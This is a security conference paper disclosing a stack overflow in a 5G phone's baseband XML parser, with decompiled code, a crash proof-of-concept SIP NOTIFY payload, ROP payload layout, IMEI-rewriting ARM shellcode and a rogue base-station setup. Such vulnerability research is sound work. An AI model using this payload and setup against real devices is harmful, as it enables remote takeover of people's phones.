Over The Air Baseband Exploit: Gaining Remote

Code Execution on 5G Smartphones

Marco Grassi (@marcograss)1 , Xingyu Chen (@0xKira233)1
1
Keen Security Lab of Tencent

Abstract
In recent years we saw the widespread adoption of 5G Cellular Networks, both for consumer devices,
IoT, and critical infrastructure. The estimate of number of devices connected to a 5G network varies, but
statistics show they are vastly present in the market [1]. Every one of these devices, in order to join the
5G network, must be equipped with a 5G modem, in charge of modulating the signal, and implementing
the radio protocols. This component is also commonly referred as b a s e b a n d . It is of enormous importance
to secure these components, since they process untrusted data from a radio network, making them
particularly attractive for a remote attacker. In our previous work [2] we examined the security modem
for previous generation networks (such as 2G, 3G or 4G) and we achieved full remote code execution
over the air. In this paper we will explore what changed on 5G networks, what improved in terms of
security and what did not. We will demonstrate that it is still possible to fully compromise, over the air,
a 5G modem, and gaining remote code execution on a new 5G Smartphone.

Keywords
5G, baseband, modem, exploitation, memory corruption, RCE, SDR, Over The Air

1. Introduction
In recent years we saw the widespread adoption of 5G Cellular Networks, both for consumer
devices and for IoT and critical infrastructure. The estimate of number of devices connected to
a 5G network varies, but they are all a huge number [1]. Every one of those devices in order to
join the 5G network must be equipped by a 5G modem, in charge of modulating the signal, and
implementing the radio protocols. This component is also commonly referred as ”baseband”.
It is of paramount importance to secure those components, since they process untrusted data
from a radio network, making them particularly attractive for a remote attacker. In our previous
work [2] we examined the security of those modem, in previous generation networks, such as
2G, 3G or 4G and we achieved full remote code execution over the air. This was 3 years ago and
5G in the meanwhile has been rolled out. In this paper we will explore what changed, what
improved and what didn’t. We will demonstrate that it’s still possible to fully compromise a
modem over the air, by purposely trying to find a bug in the 5G stack, and exploiting it over the
air, gaining remote code execution on a 5G Smartphone.

Black Hat US 2021 Call For Papers

Envelope-Open [email protected] (M. G. (@marcograss)); [email protected] (X. C. (@0xKira233))
GLOBE https://keenlab.tencent.com/en/ (M. G. (@marcograss)); https://keenlab.tencent.com/en/ (X. C. (@0xKira233))
2. Background
The security of 5G networks and basebands are topics that have not been thoroughly covered
over the years. Our previous work studied the security of old generation networks, and
examined the implementation of Huawei Modem [2]. The Security Researcher Amat Cama also
published a research on the old generation networks, showing how it was possible to successfully
compromise a Samsung Shannon Baseband at the p w n 2 o w n contest [3]. Last, a research from
Comsecuris analyzed the security aspects of both Samsung [4] and Intel basebands [5]. We
highly recommend those resources as a reference to understand this paper and gain familiarity
with the topic. To fully understand this research, we will cover some background concepts, and
describe the new notions of 5G networks.

3. Research Preparation and Methodology

Following, the requirements and goals of our research:

• T a r g e t I d e n t i f i c a t i o n : We purchased the main 5G devices available at the time of the

research.
• S c o p e : Find a suitable vulnerability in a 5G component that can be triggered remotely
and reliably to achieve remote code execution.
• E x e c u t i o n : Find a way to trigger our vulnerability without having access to any commer-
cial 5G Base Station. At the time of the research, there was no working 5G open source
base station project.

4. Target Identification
We purchased several 5G consumer smartphone available at the time. All the devices we
purchased could at least leverage the so called ”New Radio” of 5G. 1
We have to make a distinction between 5G devices:

• N o n S t a n d a l o n e M o d e ( N S A ) : This mode combines the 5G New Radio, and leverages the

other components of the 4G network.
• S t a n d a l o n e M o d e ( S A ) : This mode fully implements and use the 5G New Radio and 5G
network specification.

Since we believe that S t a n d a l o n e M o d e ( S A ) will be used as a standard in the future, we

decided to focus on this mode.
Our research device will be a V i v o S 6 5 G , a 5G Standalone Mode device.

1
The 5G NR (New Radio), is the new Radio Access Technology (RAT) for the air interface of fifth generation
networks. It uses 2 new frequency ranges, and it greatly improve performances.
Figure 1: Vivo S6 5G [Public domain], via GSMArena (https://www.gsmarena.com/vivo_s6_
5g-10151.php).

This device ships with a SoC E x y n o s 9 8 0 and has a S a m s u n g S h a n n o n baseband [3] [4].
The baseband runs its own firmware, with a Real Time Operating System, on it’s own ARM
Cortex core, separated from the Application Processor (AP) where the Android OS runs. The AP
and the baseband can, for example, communicate with PCI-e, shared memory, or in other ways
[2]. We recovered the firmware of the modem from a full-OTA of the device. The baseband
firmware resides in the m o d e m . b i n binary file. After unpacking it and finding the load addresses
we can load it in IDA Pro and start hunting for vulnerabilities.

5. Audit Scope and Vulnerability Hunting

After some time auditing code related to 5G, we collected our vulnerabilities, and selected the
best candidate for this research to share.
Thanks to the abundance of vulnerabilities, we were able to choose a very reliable and hilarious
one.
We hope you will also find it entertaining and descriptive of the current state of security of
modems.
When auditing the modem firmware, we quickly noticed that it still lacked s t a c k c o o k i e s . 2
Thus, using a traditional stack overflow would make our exploitation easier, considering the
lack of debugging capabilities in this environment.

2
Stack cookies are a mitigation that tries to stop the exploitation of stack based buffer overflow, by inserting a
”magic cookie” before critical information on the stack is corrupted, in order to check it before returning from the
function and hopefully detect if a overflow happened.
 As you can imagine, the bug we chose for this paper it’s a stack overflow.
The interesting part it’s that not only it’s a stack overflow, but it’s a stack overflow in a XML
Parser inside the baseband.
This XML parser is responsible for parsing IMS messages from the network to the device modem.

5.1. Attack Vector Background

I M S is the selected architecture for 4G and 5G network on top of which the interactive calling is
built, and we will see later why this is important for this research.
A Baseband it’s an I M S client, responsible for handling VoLTE, VoNR messages so it must be
able to process S I P messages, which the IMS Server uses to communicate with the modem.
Following, an example of an I N V I T E message:

1 INVITE sip:[email protected] SIP/2.0

2 Via: SIP/2.0/TCP client.atlanta.example.com:5060;branch=z9hG4bK74bf9
3 Max-Forwards: 70
4 From: Alice <sip:[email protected]>;tag=9fxced76sl
5 To: Bob <sip:[email protected]>
6 Call-ID: [email protected]
7 CSeq: 1 INVITE
8 Contact: <sip:[email protected];transport=tcp>
9 Content-Type: application/sdp
10 Content-Length: 151
11

12 v=0
13 o=alice 2890844526 2890844526 IN IP4 client.atlanta.example.com
14 s=-
15 c=IN IP4 192.0.2.101
16 t=0 0
17 m=audio 49172 RTP/AVP 0
18 a=rtpmap:0 PCMU/8000

SIP is a text-based, HTTP-like protocol, including headers and content. The receiver (in this
case the baseband) needs to parse the message from the server. For different messages, the
content could be not only key-value pairs but also XML format text. XML is a much more
complicated data format, usually handled by a dedicated library. All the above introduce a new
attack surface for basebands.

5.2. Vulnerability
Our OTA remote code execution bug is in the IMS part of the baseband. When parsing the XML
content of a SIP protocol message, it will call the function I M S P L _ X m l G e t N e x t T a g N a m e .
This modem has no debugging symbols or informations, so all function names, types, and
function signatures, are either manually recovered from log strings, or by reverse engineering.
 We provide a reverse engineered and decompiled version here, with comments and some code
omitted.
1 int IMSPL_XmlGetNextTagName(char *src, char *dst) {
2 // 1. Skip space characters
3 // 2. Find the beginning mark '<'
4 // 3. Skip comments and closing tag
5 // omitted code
6 find_tag_end((char **)v13);
7 v9 = v13[0];
8 if (v8 != v13[0]) {
9 memcpy(dst, (int *)((char *)ptr + 1), v13[0] - v8); // copy tag name to dst
10 dst[v9 - v8] = 0;
11 v12 = 10601;
12 // IMSPL_XmlGetNextTagName: Tag name =
13 v11 = &log_struct_437f227c;
14 Logs((int *)&v11, (int)dst, -1, -20071784);
15 *(unsigned __int8 **)src = v13[0];
16 LOBYTE(result) = 1;
17 return (unsigned __int8)result;
18 }
19 // omitted code
20 }

This function will parse an XML tag from s r c and copy its name to d s t , e.g.
< m e t a n a m e = ” v i e w p o r t ” c o n t e n t = ” w i d t h = d e v i c e - w i d t h , i n i t i a l - s c a l e = 1 ” > will get ” m e t a ” copied
to the destination buffer.
Following, we present the decompiled function f i n d _ t a g _ e n d (arbitrarily chosen name) and
explain how it works:

1 char **find_tag_end(char **result) {

2 char *i; // r1
3 unsigned int v2; // r3
4 unsigned int cur_char; // r3
5

6 for (i = *result;; ++i) {

7 cur_char = (unsigned __int8)*i;
8 i f ( c u r _ c h a r < = 0 x D & & ( ( 1 « c u r _ c h a r ) & 0 x 2 6 0 1 ) ! = 0 ) // \ 0 \ t \ n \ r
9 break;
10 v2 = cur_char - 32;
11 if (v2 <= 0x1F &&
12 ((1 « v2) & (unsigned int)&unk_C0008001) != 0) // space / > ?
13 break;
14 }
15 *result = i;
16 return result;
17 }

The function looks for the end of a tag by skipping special characters, e.g. space, ’/’, ’>’,
’?’. After understanding how this whole function works, we noticed that there are no security
checks at all. The function has no knowledge of how long the destination buffer is, neither does
the source buffer. Thus, all the callers of this function might be exploited with a traditional
buffer overflow.
By cross referencing the function I M S P L _ X m l G e t N e x t T a g N a m e , we found hundreds of calling places.
Most of them are vulnerable because source buffer is fetched from OTA message, which is fully
controlled by an attacker.

6. Exploitation
We chose a stack overflow for the ease of exploitation and reliability. As we stated before there
are no stack cookies, so we can simply overflow the buffer, control the return address stored on
the stack, and gain code execution.
We finally found a good candidate by reverse engineering:

1 int IMSPL_XmlParser_ContactLstDecode(int *a1, int *a2) {

2 unsigned __int8 *v4; // r0
3 int v5; // r1
4 log_info_s *v7; // [sp+0h] [bp-98h] BYREF
5 int v8; // [sp+4h] [bp-94h]
6 unsigned __int8 *v9; // [sp+8h] [bp-90h] BYREF
7 int v10; // [sp+Ch] [bp-8Ch] BYREF
8 char v11[136]; // [sp+10h] [bp-88h] BYREF
9

10 bzero(v11, 100);
11 v10 = 0;
12 v4 = (unsigned __int8 *)*a1;
13 v8 = 10597;
14 v9 = v4;
15 // ——————%s———————-
16 v7 = &log_struct_4380937c;
17 log_0x418ffa6c(&v7, ”IMSPL_XmlParser_ContactLstDecode”, -20071784);
18 if (IMSPL_XmlGetNextTagName((char *)&v9, v11) != 1) {
19 LABEL_8:
20 *a1 = (int)v9;
21 v8 = 10597;
22 // Function END
23 v7 = &log_struct_43809448;
24 log_0x418ffa6c(&v7, -20071784);
25 return 1;
26 }
27 // omitted code
28 }

We could easily confirm that variable v 1 1 is a buffer on the stack sized 100. Potential stack over-
flow could happen here. Similar issues were found in near functions like I M S P L _ X m l P a r s e r _ R e g L s t D e c o d e ,
I M S P L _ X m l P a r s e r _ C o n t E l e m C h i l d N o d e D e c o d e etc.
According to the function name, we can infer that the triggering tag should be inside the
element C o n t a c t L i s t . It’s not difficult to summarize the call stacks by cross referencing the
function up.

1 IMSPL_XmlParser_RegInfoDecode –> IMSPL_XmlParser_RegInfoElemDecode –>

↪ IMSPL_XmlParser_RegLstDecode –> IMSPL_XmlParser_RegistrationElemDecode –>
↪ IMSPL_XmlParser_ContactLstDecode

These function names are straightforward to understand. We can quickly identify that the
malformed payload can be delivered by the N O T I F Y message in the SIP protocol. A simple PoC
can be constructed from a normal N O T I F Y message to crash the baseband.
Since the payload is delivered in the format of XML, there comes a constrain to the payload.
Remember function f i n d _ t a g _ e n d mentioned above, it blacklists the following characters in a
tag name: ” \ x 0 0 \ x 0 9 \ x 0 a \ x 0 d \ x 2 0 \ x 2 f \ x 3 e \ x 3 f ” . Thus, we cannot use all the available gadgets
when writing the ROP chains and the shellcode.
All left is a traditional pwnable challenge on ARM platform.

6.1. Exploitation Payload

Here is crash PoC which will corrupt the stack in function I M S P L _ X m l P a r s e r _ R e g L s t D e c o d e :

1 NOTIFY sip:[email protected]:5060 SIP/2.0

2 Via: SIP/2.0/TCP 172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
3 Via: SIP/2.0/UDP
↪ 172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
4 To: <sip:666666>;tag=31f5ed9f
5 From: <sip: @ 666666>;tag=facfaba04ffdc638bb119e5faba08da6-53a20000
6 CSeq: 4 NOTIFY
7 Call-ID: [email protected]
8 Content-Length: 1719
9 User-Agent: Kamailio S-CSCF
10 Contact: <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
11 Event: reg
12 Max-Forwards: 69
13 Subscription-State: active;expires=600000
14 Content-Type: application/reginfo+xml
15

16 <?xml version=”1.0”?>
17 <reginfo xmlns=”urn:ietf:params:xml:ns:reginfo” version=”2” state=”full”>
18 <registration aor=”tel:666666” id=”0x7f970dea8570” state=”active”>
19 <contact id=”0x7f970dea7710” state=”active” event=”registered” expires=”599996”
↪ q=”0.000”>
20 <uri>sip:[email protected]:5060;alias=192.168.101.2~49214~2</uri>
21 <unknown-param
↪ name=”+sip.instance”>”&lt;urn:gsma:imei:86044804-970539-0&gt;”</unknown-param>
22 <unknown-param name=”+g.3gpp.smsip”></unknown-param>
23 <unknown-param name=”video”></unknown-param>
24 <unknown-param name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ⌋
↪ ”</unknown-param>

25 </contact>
26 </registration>
27 <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAA>test
↪ payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>
28 </reginfo>

To avoid trouble fixing the stack and let baseband still alive after the ROP execution, it’s better
to choose a deep place to trigger the stack overflow. So an element inside the r e g i s t r a t i o n tag
is a good choice.

1 <?xml version=”1.0”?>
2 <reginfo xmlns=”urn:ietf:params:xml:ns:reginfo” version=”2” state=”full”>
3 <registration aor=”tel:666666” id=”0x7fe072423570” state=”active”>
4 <contact id=”0x7fe072422710” state=”active” event=”registered” expires=”599996”
↪ q=”0.000”>
5 <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
↪ AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here ⌋
↪ >test < /haha
6 </contact>
7 </registration>
8 </reginfo>
 The structure of the payload in detail:

Figure 2: The payload starts with 100 bytes ’A’, followed by the saved registers R4-R11 on the
stack. Then the real ROP chain to copy shellcode from stack and finally jump to the
shellcode.

6.2. Visual Demonstration of the Exploit

To verify if we have gained RCE on the target device, we can check the ADB log of the phone.
It will show the information about how the Cellular Processor (CP) crashes. However, that
is neither a convenient way, nor a good visual effect. Thus, we opted to modify the device’s
IMEI(s) by executing shellcode inside the baseband.
The IMEI is not supposed, by design, to be modified after the phone is distributed. This was
also considered as an issue when we reported the whole chain.
IMEI is an item stored in the baseband NVRAM, but to modify its value, it is necessary to
know first its index. NVRAM is the Non Volatile Memory, where persistent information related
to the modem is stored.

1 int *IMSSH_GetImei(int a1) {

2 int v2; // r3
3 log_info_s *v4; // [sp+0h] [bp-28h] BYREF
4 int v5; // [sp+8h] [bp-20h] BYREF
5 int v6; // [sp+Ch] [bp-1Ch]
6 int v7; // [sp+10h] [bp-18h]
7

8 LOBYTE(v7) = 0;
9 v5 = 0;
10 v6 = 0;
11 if (unk_4469AD84 == 1)
12 GetImei_2((char *)&v5);
13 else
14 GetImei_1((char *)&v5);
15 sub_40F38A8C(&v5, a1);
16 v2 = 272681;
17 // [IMSSH_GetImei] IMEI
18 v4 = &log_struct_4343c6cc;
19 if (unk_4469AD84 < 2u)
20 v2 = ((unk_4469AD84 « 18) + 0x40000) | 0x2929;
21 return DumpHex((int *)&v4, a1, -1, -20071784, v4, v2, v5, v6, v7);
22 }

There are multiple places in the baseband calling the function to get IMEI. The index can
be retrieved by reversing the functions G e t _ I m e i _ [ 1 2 ] . In our case, the indexs for IMEI1/2 are
0x39a4/0x39a5.
With the index, we are able to modify IMEI in the shellcode by calling the API p a l _ R e g I t e m W r i t e _ F i l e .

6.2.1. Sample Shellcode

1 eors r0, r0
2 movw r0, 0x39a4 ; index
3 movw r1, 0x4444
4 movt r1, 0x4646 ; string ptr
5 movw r3, 0x4242
6 movt r3, 0x4242 ; string content
7 str r3, [r1]
8 str r3, [r1, 4]
9 str r3, [r1, 8] ; copy string
10 movw r2, 0x4444
11 movt r2, 0x4646 ; string ptr
12

13 movw r4, 0x5e28

14 movt r4, 0x4547
15 strb r4, [r4] ; enable a flag, any value except 0
16

17 movw r4, 0x166d

18 movt r4, 0x4196
19 blx r4 ; call pal_RegItemWrite_File
7. Execution
7.1. Setting up the Environment
To trigger the bug, we need first to build a network that provides IMS services, and then send
a malformed text message to the baseband. Our testing environment requires at least an LTE
network. Though it’s technically a vulnerability affecting both 4G and 5G, back to early 2020,
the infrastructure of 5G was not yet completed to support independent researchers like us
testing its security. We made a decision to set up an LTE network with VoLTE support to test
the device.

7.1.1. SDR Choice

As a hardware of choice to setup a Base Station, we chose a E t t u s U S R P B 2 1 0 , a very popular
SDR radio among researchers.

Figure 3: Ettus USRP B210 [Public domain], via Ettus Research (https://www.ettus.com/
all-products/ub210-kit/).

A SDR it’s a Software Defined Radio. It usually contains a FPGA that can be programmed,
and an analog part for signal modulation and demodulation. It’s the hardware responsible to
transmit and receive our signals over the air when we setup the Base Station.

7.1.2. LTE network setup

We used lots of open source components and hardware to complete our test. Following, the
important ones.

• s r s E N B : It’s the eNodeB implementation from srsLTE. It connects to the mobile phone
network that communicates directly wirelessly with mobile handsets (UEs). [6]
• O p e n 5 G S : We used its EPC implementation in the LTE network. They are h s s , m m e , p c r f ,
p g w , s g w . [7]
 • s y s m o - u s i m - t o o l & p y s i m : Tools to program the SIM cards. [8] [9]
• C o I M S & C o I M S _ W i k i : Tools to override IMS settings of the phone. [10] [11]
• d o c k e r _ o p e n 5 g s : Docker files to run open5gs with VoLTE support in a docker container.
[12]

A UE is able to connect to the network after proper LTE network setup, then we can step
forward to the IMS server settings.
During our test, nearly all the basebands from different manufacturers were extremely
sensitive to the frequency of eNodeB. One can check the device official information to get its
supported bands. Then select a proper Downlink EARFCN for srsENB.

Figure 4: Band and frequency, (https://en.wikipedia.org/wiki/LTE_frequency_bands).

For example, we used DL-EARFCN 1825 for Samsung Galaxy S9 and 1575 for the Vivo S6 5G.
Once the phone connects successfully, any change is not recommended for that number.

7.2. IMS server setup & hack

Since the vulnerability can only be triggerred from a malicious IMS server providing VoIP
service, a basic LTE network is not enough to trigger the bug. Unfortunately, the infrastructure
for that demand is far from mature. The existing open source project Kamailio meet our needs,
but it’s still not well tested on all kinds of devices including ours. A huge effort was required to
make it work and to successfully deliver the payload.
The essential components of a VoLTE server are Rtpengine, FHOSS, P-CSCF, I-CSCF and
S-CSCF. Following, the network topology:

1 SUBNET=172.18.0.0/24
2 HSS_IP=172.18.0.2
3 MME_IP=172.18.0.3
4 SGW_IP=172.18.0.4
5 PGW_IP=172.18.0.5
6 PCRF_IP=172.18.0.6
 7 ENB_IP=172.18.0.7
8 DNS_IP=172.18.0.10
9 MONGO_IP=172.18.0.11
10 PCSCF_IP=172.18.0.12
11 ICSCF_IP=172.18.0.13
12 SCSCF_IP=172.18.0.14
13 FHOSS_IP=172.18.0.15
14 MYSQL_IP=172.18.0.17
15 RTPENGINE_IP=172.18.0.18

Figure 5: Network topology of Open5GS and IMS, (https://raw.githubusercontent.com/miaoski/

docker_open5gs/master/network-topology.png).
IMS (SIP) message are carried in the form of IP data through TCP or UDP socket. So, clients
prefer IP level security(IPSec) for IMS/SIP transaction. The XML payload can only be carried by
NOTIFY message, so our client must REGISTER and SUBSCRIBE successfully.

Figure 6: (https://www.sharetechnote.com/html/IMS_SIP_Procedure_Reg_Auth_IPSec.html).
After the initial setup, we were able to attach to the VoLTE service from several devices e.g.
OnePlus 6(non-IPSec), Google Pixel 3(IPSec), which means the suite works well on Qualcomm
basebands. However, when it comes Samsung devices, the registration process will not succeed.
 The devices were able to register VoLTE with a normal SIM card from local operators, and
that gave us hope about hacking into the Kamailio configurations and code. The first step
was capturing a successful registration traffic on the phone. Luckily there is a built in IMS
Debugging tool in Samsung’s Sysdump Utility called IMS Logger, which allowed us to view IMS
traffic from an Application [13]. Following, a normal registration messages and its response:

Figure 7: REGISTER message.

Figure 8: Server responses with challenge to the UE.
 Figure 9: Failed registration response.

There are several differences between Kamailio and the local operator. We do not really know
which field is the key to the failed registration. Our approach was to make them looking as
similar as possible.
After making some changes to Kamailio, we got a small progress and we received the second
register message. Then the problem comes to the server side, no STATUS 200 response provided.

Investigations show that IPSec between the server and client is not consistent. We decided to
forcefully disable IPSec from the server side. Following, the set of patches we applied:
 Figure 10: Patch to remove IPSec related headers.

Figure 11: Part of the cfg patch.

7.2.1. References
• VoLTE/IMS Debugging on Samsung Handsets using Sysdump & Samsung IMS Logger
• Reverse Engineering Samsung Sysdump Utils to Unlock IMS Debug & TCPdump on
Samsung Phones
 7.3. Payload Delivery
Once the UE is registered and subscribed to the SIP server, the server will send NOTIFY message
to provide the essential information in the network like the other UEs’ contact details. The
payload resides in the NOTIFY message in the format of XML.
The responsible unit for this message is S-CSCF.
This is the function to modify to generate arbitrary payload content:

1 /**
2 * Creates the full reginfo XML.
3 * @param pv - the r_public to create for
4 * @param event_type - event type
5 * @param subsExpires - subscription expiration
6 * @returns the str with the XML content
7 * if its a new subscription we do things like subscribe to updates on IMPU, etc
8 */
9 str generate_reginfo_full(udomain_t* _t, str* impu_list, int num_impus, str
↪ *explit_dereg_contact, int num_explit_dereg_contact, unsigned int
↪ reginfo_version);

8. Exploit Demonstration
We recorded a video of the exploit on this device, which we uploaded here [14].

9. Conclusions
In this research, we presented the state of 5G baseband security that next-generation Android
devices are equipped with. Although there has been an evolution in terms of network function-
ing, we have seen how there is still no advancement in terms of security. As we have shown in
fact, some basebands are completely lacking of the most basic security measures, such as stack
cookies, allowing the use of simple attacks such as buffer overflow to compromise them over
the air.
After our previous research done 3 years ago, it seems not much has improved. We hope that in
3 years we can present again some research, but in a more hardened environment.

References
[1] F. Richter, Global 5g adoption to triple in 2021, 2021. URL: https://www.statista.com/chart/
9604/5g-subscription-forecast/.
[2] T. X. Marco Grassi, Muqing Liu, Exploitation of a modern smartphone baseband, Black
Hat US, 2018.
[3] A. Cama, A walk with shannon: walkthrough of a pwn2own baseband exploit, 2018.
[4] Comsecuris, Breaking band: Reverse engineering and exploiting the shannon baseband,
2016.
 [5] Comsecuris, There’s life in the old dog yet: Tearing new holes into intel/iphone cellular
modems, 2016.
[6] srsLTE, srslte, 2021. URL: https://www.srslte.com/.
[7] open5gs, open5gs, 2021. URL: https://www.open5gs.org/.
[8] S. Herle, sysmo-usim-tool, 2021. URL: https://github.com/herlesupreeth/sysmo-usim-tool.
[9] Osmocom, pysim, 2021. URL: http://git.osmocom.org/pysim/.
[10] S. Herle, coIMS, 2021. URL: https://play.google.com/store/apps/details?id=com.sherle.
coims.
[11] S. Herle, CoIMS Wiki, 2021. URL: https://github.com/herlesupreeth/CoIMS_Wiki.
[12] miaoski, Docker open5gs, 2021. URL: https://github.com/miaoski/docker_open5gs.
[13] N. vs Networking, Volte/ims debugging on samsung handsets using sys-
dump and samsung ims logger, 2021. URL: https://nickvsnetworking.com/
volte-ims-debugging-on-samsung-handsets-using-sysdump-samsung-ims-logger/.
[14] K. Lab, Tencent keen security lab 5g security research demo, 2021. URL: https://www.
youtube.com/watch?v=Ca9lPMMToi0.